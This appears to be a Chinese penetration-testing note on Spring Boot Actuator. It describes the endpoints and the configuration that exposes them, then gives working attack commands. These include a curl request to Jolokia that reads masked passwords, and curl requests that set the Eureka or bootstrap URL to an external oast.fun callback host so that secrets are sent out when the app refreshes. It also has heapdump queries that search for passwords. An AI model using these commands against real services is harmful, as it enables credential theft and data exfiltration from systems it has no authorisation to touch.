作者 | 修订时间 |
---|---|
2024-01-25 14:53:09 |
SpringBoot渗透
日常渗透过程中,经常会碰到SpringBoot搭建的微服务(API居多),针对性的做了一个总结。
Springboot的确定还是很好确定的,它的出错一般长这样,碰到这个大致就是springboot了
Actuator
Actuator是SpringBoot项目中一个非常强大一个功能,有助于对应用程序进行监视和管理,通过restful api请求来监管、审计、收集应用的运行情况。
Actuator的核心是端点Endpoint,它用来监视应用程序及交互,spring-boot-actuator中已经内置了非常多的Endpoint(health、info、beans、metrics、httptrace、shutdown等等),同时也允许我们自己扩展自己的Endpoints。
每个Endpoint都可以启用和禁用。要远程访问Endpoint,还必须通过JMX或HTTP进行暴露,大部分应用选择HTTP,Endpoint 的ID默认映射到一个带/actuator前缀的URL。例如,health端点默认映射到/actuator/health。
Endpoint端点介绍
Actuator的核心就是Endpoint,每一个Endpoint都代表着监控某一项数据。
端点 | 描述 |
---|---|
auditevents | 获取当前应用暴露的审计事件信息 |
beans | 获取应用中所有的 Spring Beans 的完整关系列表 |
caches | 获取公开可以用的缓存 |
conditions | 获取自动配置条件信息,记录哪些自动配置条件通过和没通过的原因 |
configprops | 获取所有配置属性,包括默认配置,显示一个所有 @ConfigurationProperties 的整理列版本 |
env | 获取所有环境变量 |
flyway | 获取已应用的所有Flyway数据库迁移信息,需要一个或多个 Flyway Bean |
liquibase | 获取已应用的所有Liquibase数据库迁移。需要一个或多个 Liquibase Bean |
health | 获取应用程序健康指标(运行状况信息) |
httptrace | 获取HTTP跟踪信息(默认情况下,最近100个HTTP请求-响应交换)。需要 HttpTraceRepository Bean |
info | 获取应用程序信息 |
integrationgraph | 显示 Spring Integration 图。需要依赖 spring-integration-core |
loggers | 显示和修改应用程序中日志的配置 |
logfile | 返回日志文件的内容(如果已设置logging.file.name或logging.file.path属性) |
metrics | 获取系统度量指标信息 |
mappings | 显示所有@RequestMapping路径的整理列表 |
scheduledtasks | 显示应用程序中的计划任务 |
sessions | 允许从Spring Session支持的会话存储中检索和删除用户会话。需要使用Spring Session的基于Servlet的Web应用程序 |
shutdown | 关闭应用,要求endpoints.shutdown.enabled设置为true,默认为 false |
threaddump | 获取系统线程转储信息 |
heapdump | 返回hprof堆转储文件 |
jolokia | 通过HTTP公开JMX bean(当Jolokia在类路径上时,不适用于WebFlux)。需要依赖 jolokia-core |
prometheus | 以Prometheus服务器可以抓取的格式公开指标。需要依赖 micrometer-registry-prometheus |
SpringBoot Actuator使用及配置
上面介绍了Actuator以及Endpoint,接下来就开始使用它,只需要引入下面启动器依赖就可以使用Actuator了。
<!-- actuator -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
在SpringBoot2.X中,Actuator 默认只开放 health 。我们先不做任何配置,直接启动SpringBoot项目,然后在浏览器输入:http://localhost:8080/actuator查看默认开放的端点,如下图所示
如果我们需要暴露所有断点只能在下方设置
management:
endpoints:
web:
base-path: /actuator
exposure:
include: *
当然也可以针对性暴露
management:
endpoints:
web:
base-path: /actuator #配置端点访问前缀
exposure:
include: '*' #暴露所有端点
enabled-by-default: false #禁用所有端点
endpoint:
info:
enabled: true #上面关闭所有端点之后,又暴露指定的端点,这里暴露info端点
ENV
通过 env 可以获取到所有关于当前 SpringBoot 应用程序的运行环境信息,如:操作系统信息(systemProperties)、环境变量信息、JDK 版本及 ClassPath 信息、当前启用的配置文件(activeProfiles)、propertySources、应用程序配置信息(applicationConfig)等
获取被星号脱敏的密码的明文 (方法一)
- 目标网站存在
/jolokia
或/actuator/jolokia
接口 - 存在
getProperty
的mbean
<!-- https://mvnrepository.com/artifact/org.jolokia/jolokia-support-spring -->
<dependency>
<groupId>org.jolokia</groupId>
<artifactId>jolokia-support-spring</artifactId>
<version>2.0.0</version>
</dependency>
利用 修改 security.user.password
为对应的数据即可查看
curl -X POST 'http://localhost:8080/actuator/jolokia' -H 'Content-Type: application/json' --data '{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}' -v
常用的mbean
有
org.springframework.boot:name=SpringApplication,type=Admin
org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager
获取被星号脱敏的密码的明文 (方法二)
条件
management.endpoint.env.post.enabled=true
refresh
、env
接口可访问- 存在依赖
spring-boot-starter-actuator
、spring-cloud-starter-netflix-eureka-client
这种方法存在局限性就是参数是通过拼接url
以URL
带出来的,所以不符合URL
的数据是无法完成外带的
`${PWD}
就是需要被外带的值,sxielvzhzqayslxhetklcq64byiulay79.oast.fun
dns平台的地址即可
curl -X POST -H 'Content-Type: application/json' --data '{"name":"eureka.client.serviceUrl.defaultZone","value":"http://sxielvzhzqayslxhetklcq64byiulay79.oast.fun?path=${PWD}&action="}' 'http://127.0.0.1:8080/actuator/env'
# 刷新配置
curl -X POST -H 'Content-Type: application/json' --data '{}' 'http://127.0.0.1:8080/actuator/refresh'
最后在dns
查看即可
获取被星号脱敏的密码的明文 (方法三)(暂未复现)
条件
management.endpoint.env.post.enabled=true
refresh
、env
接口可访问
与方法二相似
curl -X POST -H 'Content-Type: application/json' --data '{"name":"spring.cloud.bootstrap.location","value":"http://sxielvzhzqayslxhetklcq64byiulay79.oast.fun?path=${PWD}&action="}' 'http://127.0.0.1:8080/actuator/env'
# 刷新配置
curl -X POST -H 'Content-Type: application/json' --data '{}' 'http://127.0.0.1:8080/actuator/refresh'
获取被星号脱敏的密码的明文 (方法四)(暂未复现)
条件
heapdump
参考 文章 方法,使用 Eclipse Memory Analyzer 工具的 OQL 语句
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
辅助用 password
等关键词快速过滤分析,获得密码等相关敏感信息的明文。